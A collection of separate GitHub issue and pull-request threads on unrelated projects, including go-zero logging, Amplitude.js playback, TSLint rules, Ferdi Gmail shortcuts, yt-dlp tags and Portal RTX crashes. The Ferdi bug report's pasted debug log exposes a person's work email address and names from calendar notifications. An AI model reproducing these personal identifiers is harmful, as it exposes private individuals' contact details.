The error is
 access log created but not be writing

Environments (please complete the following information):

OS: [ Linux]
go-zero version [1.3.4]
goctl version [goctl version 1.3.5 darwin/arm64]

More description
resolvent:

Do not use logx or log in the redisclient initialization code

Adjust the initialization sequence of the main method to create the service server first: = rest Mustnewserver (c.restconf) recreates the service context

ctx := svc. NewServiceContext(c)

fix on #1902


Songs are played immediately after the active song has ended

Hello guys, currently I'm using your library for a client project, it's such a powerful library, it's really cool.
I just have a question about if it's possible to have individual players with unrelated songs in one page. I tried as shows the documentation in Multiple Modular Songs. But the problem is that when the active song ends, the next song start immediately. I don't know if there's something that I did wrong or that is the normal behaviour of Amplitude.
I found a old tutorial of Amplitude where it shows how to build a playlist, and it shows that in a previous version of Amplitude there was a setting called “amplitude_continue_next” that makes just what I want. What happened to that?
I appreciate any support! Thanks!

I have the same question.
In addition, I have a request for an example using Dynamic Mode ...

Added property auto_next default: false :)
https://dl.dropboxusercontent.com/u/1684778/amplitude.zip

That's exactly what I had to do, after digging the code I saw that Amplitude was playing the next song as default and it doesn't seems to be a way to prevent that, only creating a custom property. Thanks @vbert , so others can see how they can do it. It really confuses me why they remove that property from the older versions of Amplitude.

I will add this to the next release. We will have a config to handle how the ending of a song should be handled.

This was fixed in 3.3.


Feature/happy lint

What kind of change does this PR introduce? (Bug fix, feature, docs update, ...)

tslint update

What is the current behavior? (You can also link to an open issue here)

Tslint 3.9.x have a bug while dealing with wilcards
Codelyzer rules have not been used
Recommended rules hard coded.

What is the new behavior (if this is a feature change)?

TSlint update to @next
Recommended Codelyzer rules being used in a separate file.
Extend recommended rules.
Update all code to follow new rules

Other information:

This somehow is related to #1091 and #1084. But instead of just follow the style guide I updated the TSLint to linter the style guide with codelyzer.

Ok. I did not see #185 before this. BUT, there is now an official Angular 2 Style Guide there is even a TSLint plugin to use them, that by the way this seed "use", named codelyzer, with the apropiated rules, everything should be fine.
I just wanted to help.

I did merged #185 and we have to adjust some things.

I saw it. But as I say, this is not just "styling" the seed to Angular2 style guide, but instead, linting it, and fix the files to the linting, to Codelyzer, that happens to be the plugin to follow Angular2 style guide.

Now that you merge #1091 I guess this have better chances, since now it only config the linter to use recommended rules, from TSLint and Codelyzer.

I could do that. I guess that it's better if it's clear where the rules come from, if there are coming from external plugin.

@michaeljota I just thought the same, yet coming from a different angle. I was think that in this starter, a single point for the rules is the way to go. So, I would just keeping everything in tslint.json.

Other dependencies do not support tslint 4.x, resubmit a PR when both Codelyzer & tslint-loader all support the newer version of tslint. Merging something for 4.x / @next will fail peerDeps breaking nodejs 4.x builds.


Added wrapper to the API call list_participants()

I needed to move the unlist from the output of call_limer to the get_responses function. The output of the list_participants() API call doesn't need to be unlisted.
I also included the fix implemented in petrbouchal/limer.

Awesome, thanks!


Some shortcut in Gmail are not working

Bug description:

Some shortcut in Gmail are not working such as:

ctrl+enter to send
ctrl+shift+v to copy without format (in this case it copy the text 2 times)

Steps to reproduce:

Go to 'gmail'
Click on 'new message'
paste text with shortcut ctrl+shift+v
try to send with shortcut ctrl+enter

Expected behavior

ctrl+enter should send the open message
ctrl+shift+v should copy without format

Screenshots

Environment:

Operating System:  windows 10

Ferdi Version:  5.5.0

Server:  default

Debug information:

{"host":{"platform":"win32","release":"10.0.18363","screens":[{"id":2528732444,"bounds":{"x":-1536,"y":216,"width":1536,"height":864},"workArea":{"x":-1536,"y":216,"width":1536,"height":824},"accelerometerSupport":"unknown","monochrome":false,"colorDepth":24,"colorSpace":"{primaries:BT709, transfer:IEC61966_2_1, matrix:RGB, range:FULL}","depthPerComponent":8,"size":{"width":1536,"height":864},"workAreaSize":{"width":1536,"height":824},"scaleFactor":1.25,"rotation":0,"internal":false,"touchSupport":"unknown"},{"id":2779098405,"bounds":{"x":0,"y":0,"width":1920,"height":1080},"workArea":{"x":0,"y":0,"width":1920,"height":1040},"accelerometerSupport":"unknown","monochrome":false,"colorDepth":24,"colorSpace":"{primaries:BT709, transfer:IEC61966_2_1, matrix:RGB, range:FULL}","depthPerComponent":8,"size":{"width":1920,"height":1080},"workAreaSize":{"width":1920,"height":1040},"scaleFactor":1,"rotation":0,"internal":false,"touchSupport":"unknown"}]},"ferdi":{"version":"5.5.0","electron":"8.2.3","installedRecipes":[{"id":"gmail","version":"1.3.1"},{"id":"googlecalendar","version":"1.0.3"},{"id":"whatsapp","version":"2.0.3"},{}],"devRecipes":[],"services":[{"id":"d4595e35-0397-4667-af97-82262fd7648d","recipe":"gmail","isAttached":true,"isActive":true,"isEnabled":true,"isHibernating":false,"hasCrashed":false,"isDarkModeEnabled":true},{"id":"ad37ca2d-2d91-4a4d-8305-a22e62466401","recipe":"googlecalendar","isAttached":true,"isActive":false,"isEnabled":true,"isHibernating":false,"hasCrashed":false,"isDarkModeEnabled":true},{"id":"65ca823e-a238-4add-b6ee-a7327bce274f","recipe":"whatsapp","isAttached":true,"isActive":false,"isEnabled":true,"isHibernating":false,"hasCrashed":false,"isDarkModeEnabled":true}],"messages":[{"type":"error","info":["error","[mobx] Encountered an uncaught exception that was thrown by a reaction or observer component, in: 'Reaction[Autorun@160]'",{}]},{"type":"error","request":{"result":null,"wasExecuted":true,"method":"getInfo"},"error":{},"response":{},"server":"https://api.getferdi.com"},{"type":"error","request":{"result":null,"wasExecuted":true,"method":"features"},"error":{},"response":{},"server":"https://api.getferdi.com"},{"type":"error","request":{"result":null,"wasExecuted":true,"method":"all"},"error":{},"response":{},"server":"https://api.getferdi.com"},{"type":"error","info":["error","Warning: Can't perform a React state update on an unmounted component. This is a no-op, but it indicates a memory leak in your application. To fix, cancel all subscriptions and asynchronous tasks in %s.%s","the componentWillUnmount method","\n    in WindowControls\n    in div\n    in Unknown (created by _class2)\n    in div (created by _class2)\n    in _class2 (created by Jss(_class2))\n    in Jss(_class2) (created by _class2)\n    in _class2 (created by Jss(_class2))\n    in Jss(_class2) (created by _class2)"]},{"type":"log","info":["log","Onboarding",{"icon":"https://calendar.google.com/googlecalendar/images/notification_2020q4/calendar_macos_26_1x.png","body":"10:00 – 13:00","tag":"cal-evt-MmYyMHYycmxpODdzaGFyMWd0NnNqaDFmY28gZnJhbmNlc2NvLm1vdHRhQGRvY2Viby5jb20","requireInteraction":true,"silent":true}]},{"type":"log","info":["log","Zoom",{"body":"Michael Broomhead has joined your meeting - Onboarding","icon":"//ssl.gstatic.com/ui/v1/icons/mail/rfr/logo_gmail_envelope_1x.png","tag":"en_francesco.motta@docebo.com"}]},{"type":"log","info":["log","Yann / Francesco",{"icon":"https://calendar.google.com/googlecalendar/images/notification_2020q4/calendar_macos_26_1x.png","body":"14:15 – 14:45","tag":"cal-evt-N2Q4OGM0dG8wZmp1MWdqcTEwaXZ2MjluYzcgZnJhbmNlc2NvLm1vdHRhQGRvY2Viby5jb20","requireInteraction":true,"silent":true}]},{"type":"error","request":{"result":null,"wasExecuted":true,"method":"featured"},"error":{},"response":{},"server":"https://api.getferdi.com"},{"type":"error","request":{"result":null,"wasExecuted":true,"method":"featured"},"error":{},"response":{},"server":"https://api.getferdi.com"},{"type":"error","info":["error","Warning: Can't perform a React state update on an unmounted component. This is a no-op, but it indicates a memory leak in your application. To fix, cancel all subscriptions and asynchronous tasks in %s.%s","the componentWillUnmount method","\n    in _class2 (created by inject-_class2-with-stores-actions)\n    in inject-_class2-with-stores-actions (created by Jss(inject-_class2-with-stores-actions))\n    in Jss(inject-_class2-with-stores-actions) (created by _class2)\n    in div (created by _class2)\n    in div (created by _class2)\n    in div (created by _class2)\n    in _class2 (created by Jss(_class2))\n    in Jss(_class2) (created by _class2)\n    in _class2 (created by Jss(_class2))\n    in Jss(_class2) (created by _class2)"]}],"workspaces":[],"windowSettings":{"width":800,"height":600,"x":34,"y":73,"isMaximized":true,"isFullScreen":false,"displayBounds":{"x":0,"y":0,"width":1920,"height":1080}},"settings":{"autoLaunchInBackground":false,"runInBackground":true,"reloadAfterResume":true,"enableSystemTray":true,"startMinimized":false,"minimizeToSystemTray":false,"privateNotifications":false,"showDisabledServices":true,"showMessageBadgeWhenMuted":false,"showDragArea":false,"enableSpellchecking":true,"spellcheckerLanguage":"en-us","darkMode":false,"locale":"en-US","fallbackLocale":"en-US","beta":false,"isAppMuted":false,"enableGPUAcceleration":true,"serviceLimit":5,"server":"https://api.getferdi.com","predefinedTodoServer":"https://app.franztodos.com","autohideMenuBar":true,"lockingFeatureEnabled":false,"locked":false,"lockedPassword":"******","useTouchIdToUnlock":true,"scheduledDNDEnabled":false,"scheduledDNDStart":"17:00","scheduledDNDEnd":"09:00","hibernate":false,"hibernateOnStartup":true,"hibernationStrategy":300,"inactivityLock":0,"automaticUpdates":true,"showServiceNavigationBar":false,"universalDarkMode":false,"adaptableDarkMode":false,"accentColor":"#0465ac","serviceRibbonWidth":"45","iconSize":"30","sentry":true,"navigationBarBehaviour":"never","customTodoServer":"","todoServer":"isUsingCustomTodoService"},"features":{"isSpellcheckerIncludedInCurrentPlan":true,"needToWaitToProceed":false,"needToWaitToProceedConfig":{"delayOffset":3600000,"wait":10000},"isServiceProxyEnabled":true,"isServiceProxyIncludedInCurrentPlan":true,"isAnnouncementsEnabled":true,"isWorkspaceIncludedInCurrentPlan":true,"isWorkspaceEnabled":true,"isCommunityRecipesIncludedInCurrentPlan":true,"isSpellcheckerPremiumFeature":false,"isServiceProxyPremiumFeature":true,"isWorkspacePremiumFeature":false,"isSettingsWSEnabled":false,"isServiceLimitEnabled":false,"serviceLimitCount":0,"isCommunityRecipesPremiumFeature":false,"isCustomUrlIncludedInCurrentPlan":true,"isMagicBarEnabled":true,"isTeamManagementIncludedInCurrentPlan":true,"isTodosEnabled":true,"isTodosIncludedInCurrentPlan":true,"defaultTrialPlan":"franz-pro-yearly","subscribeURL":"https://getferdi.com","planSelectionURL":"https://getferdi.com","hasInlineCheckout":true,"isPlanSelectionEnabled":false,"isTrialStatusBarEnabled":false,"canSkipTrial":true,"pricingConfig":{"currency":"$","currencyID":"USD","plans":{"personal":{"monthly":{"id":"ferdi-free","price":0,"billed":0},"yearly":{"id":"ferdi-completely-free","price":0,"billed":0}},"pro":{"monthly":{"id":"ferdi-still-free","price":0,"billed":0},"yearly":{"id":"ferdi-forever-free","price":0,"billed":0}}}}},"user":"82c1cf9d-ab58-4da2-b55e-aaa41d2142d8"}}

Yeah that is really anoying for people who use Gmail without a mouse.
Another non functioning shortcuts:

ALT+LEFT_ARROW -> should return to the previous page, but does nothing.
ALT+RIGHT_ARROW -> should return to the next page, but does nothing.

Are there any workarounds for this?

@Maicon-Moreira - I use gmail (but on macos) via Ferdi.
As far as the double-pasted text, this has been fixed a couple of months ago.
As far as the shortcut keys, does this ALT+LEFT_ARROW work on other services? (In my case, on mac, the shortcut to "navigate back" is Cmd+LEFT_ARROW - and it works perfectly.
btw - are you reporting this against the latest version of Ferdi (5.6.2)? We are unable to support v5.5.0 unfortunately.

@vraravam Yeah sorry, I noticed after that CTRL+LEFT_ARROW actually works exactly like ALT+LEFT_ARROW on Ferdi, which is weird at least on Windows apps and shortcuts.

@Maicon-Moreira - I have merged a fix for this. It'll be available in the next nightly (after 5.6.3-nightly.20)


fix: remove Faker from DataPlane integration tests

What this PR changes/adds
Remove Faker from data plane integration tests, as it seems to make them flaky (see #1847)
Why it does that
To strengthen tests
Further notes

the DataPlaneHttpToHttpIntegrationTests seems to be more of a system-test than an integration test, since it run a launcher: data-plane-server
DataPlaneHttpPullIntegrationTests could stay in the data-plane-http module, since that's what it's testing

Linked Issue(s)
Closes #1847
Checklist

[x] added appropriate tests?
[x] performed checkstyle check locally?
[ ] added/updated copyright headers?
[ ] documented public classes/methods?
[ ] added/updated relevant documentation?
[x] assigned appropriate label? (exclude from changelog with label no-changelog)
[x] formatted title correctly? (take a look at the CONTRIBUTING and styleguide for details)

Codecov Report

Merging #1849 (f04b825) into main (8289194) will increase coverage by 6.77%.
The diff coverage is n/a.

@@             Coverage Diff              @@
##               main    #1849      +/-   ##
============================================
+ Coverage     60.72%   67.50%   +6.77%
============================================
  Files           779      779
  Lines         16608    16608
  Branches       1085     1085
============================================
+ Hits          10086    11211    +1125
+ Misses         6101     4929    -1172
- Partials        421      468      +47

Impacted Files
Coverage Δ

...iation/ProviderContractNegotiationManagerImpl.java
90.55% <0.00%> (+0.55%)
:arrow_up:

.../api/multipart/handler/ArtifactRequestHandler.java
61.42% <0.00%> (+1.42%)
:arrow_up:

...i/multipart/handler/DescriptionRequestHandler.java
72.54% <0.00%> (+1.96%)
:arrow_up:

...patcher/sender/MultipartArtifactRequestSender.java
83.33% <0.00%> (+5.55%)
:arrow_up:

...nder/MultipartCatalogDescriptionRequestSender.java
5.88% <0.00%> (+5.88%)
:arrow_up:

...r/MultipartEndpointDataReferenceRequestSender.java
92.85% <0.00%> (+7.14%)
:arrow_up:

.../policy/store/schema/SqlPolicyStoreStatements.java
92.30% <0.00%> (+7.69%)
:arrow_up:

...nition/store/schema/postgres/CriterionMapping.java
14.28% <0.00%> (+14.28%)
:arrow_up:

...s/store/schema/TransferProcessStoreStatements.java
100.00% <0.00%> (+17.85%)
:arrow_up:

...on/store/schema/ContractNegotiationStatements.java
100.00% <0.00%> (+37.93%)
:arrow_up:

... and 27 more

Help us with your feedback. Take ten seconds to tell us how you rate us. Have a feature suggestion? Share it here.


[Feature Request] Tags and Categories without square brackets or quotation marks

Checklist

[ x] I'm reporting a feature request
[x ] I've verified that I'm running yt-dlp version 2021.05.20
[ x] I've searched the bugtracker for similar feature requests including closed ones

Description
Is it possible to make yt-dlp write categories and tags that get embedded in a video file without square brackets or quotation marks? [] ' "
Currently, they get written like this:
['A Quiet Place Part II', 'Movie Review', 'Chris Stuckmann', 'A Quiet Place 2', 'Reviews', 'Film', 'Scene', 'Clip', 'Trailer', 'Teaser', 'Horror', 'Emily Blunt', 'Millicent Simmonds', 'Cillian Murphy', 'Noah Jupe', 'Djimon Hounsou', 'John Krasinski']
It'd be better if they get written like this:
A Quiet Place Part II, Movie Review, Chris Stuckmann, A Quiet Place 2, Reviews, Film, Scene, Clip, Trailer, Teaser, Horror, Emily Blunt, Millicent Simmonds, Cillian Murphy, Noah Jupe, Djimon Hounsou, John Krasinski
Makes it better for apps like Plex media server to scan the tags and present them properly.
P.S. I mentioned it on discord a couple of days ago but I thought I'd make a request here so that it can be tracked or accepted/rejected easily.

right now, the easiest solution is to use --exec to rename it after download. While I do plan to add a metadata search-replacer, I cannot promise on any timeline or it

Okay, I've been googling for a bit trying to figure this out but can't figure it out.
Might telling me how I can achieve this with ffmpeg or atomicparsley using --exec ?

With https://github.com/yt-dlp/yt-dlp/commit/db81f83fdd8086b7641bc50a1e438b06488600d7, you can use %(tags)l


date limit in streaming requests

initial implementation of parameter for streaming requests that stops
when a date of the tweets stream is reached, regardless of the tweet
count
To be considered/enhanced:

date is now a python date parameter, should probably accept a string
instead, what format?
limit in number of counts is still mandatory, consider if it is
necessary

Thanks @ewan-klein
I've modified line 342 as per your suggestion, it makes it indeed more clear.
As for the repeat parameter, indeed I had not understood it properly. Therefore I think it makes sense to leave it as it is -actually it would not make sense not to specify limit.
Finally, I know it is my own suggestion, but the more I think about it the less I'm convinced about the text parameter for date_limit. At the end, it is not asking that much to the user to create a python date; it is one line of code and it can be documented via example. Anyhow, if we decided to do it, the code would indeed be better as you suggest.


[Runtime Bug]: Portal RTX & dxvk-remix failing to launch on RTX GPUs

Describe the bug
There are numerous bug reports from users on the Steam forums and our Discord server about this issue:
https://steamcommunity.com/app/2012840/discussions/0/4409669206921465356/
https://steamcommunity.com/app/2012840/discussions/0/4409669206917831055/
https://steamcommunity.com/app/2012840/discussions/0/4409669041607637016/
https://discord.com/channels/1028444667789967381/1028444668918235197/1257356837267701793
In the Discord link, the user provided their logs. I've asked for more users experiencing this issue to share their logs, but haven't received any responses as of this post.
The way it behaves: It launches as a black screen, a crash from the bridge appears (or sometimes does not), and the game closes.
How do you reproduce the bug?
Currently unknown
What is the expected behavior?
The game should launch.
Version
Multiple
Logs
Refer here: https://discord.com/channels/1028444667789967381/1028444668918235197/1257359008579452990
Crash dumps
No response
Media
No response

REMIX-3330 for tracking

Hi @Kim2091 - we believe this may be addressed with driver 560.81. When you have the chance, will you please update your graphics driver and see if Portal still fails to launch? Thank you!

Hi @Kim2091 - checking in again to see if you can re-test with a driver 560.81 or later and let us know if the issue persists. We also want to inform you of our stale ticket policy, namely that we will close this ticket as went-stale if it doesn't receive an update in the next two weeks. Thanks!

Apologies about the lack of a follow-up. I opened this issue as a compilation of many other user's reports. I was not able to reproduce it on my system.
I will say that I have recommended updating to 560.81 to many users on our Discord server, but the update did not fix their bridge crashing, including for Portal RTX.

Thanks for confirming, @Kim2091 - since we don't have a reliable repro and associated info for this, we're going to close this ticket. If you hear of anyone else encountering it again, please encourage them to file a GH ticket (or re-open this one) with the attendant logs/crash dumps so we can keep investigating.


Comment vote list not still fixed

Click on comment with upvotes, nothing will show up.

@horpeyloaded fixed by mustafa you will see in 2.2.3 version


[CI] Changed ov wheels path

Preparing for the changes from - https://github.com/openvinotoolkit/openvino/pull/26952

Please, resolve conflicts.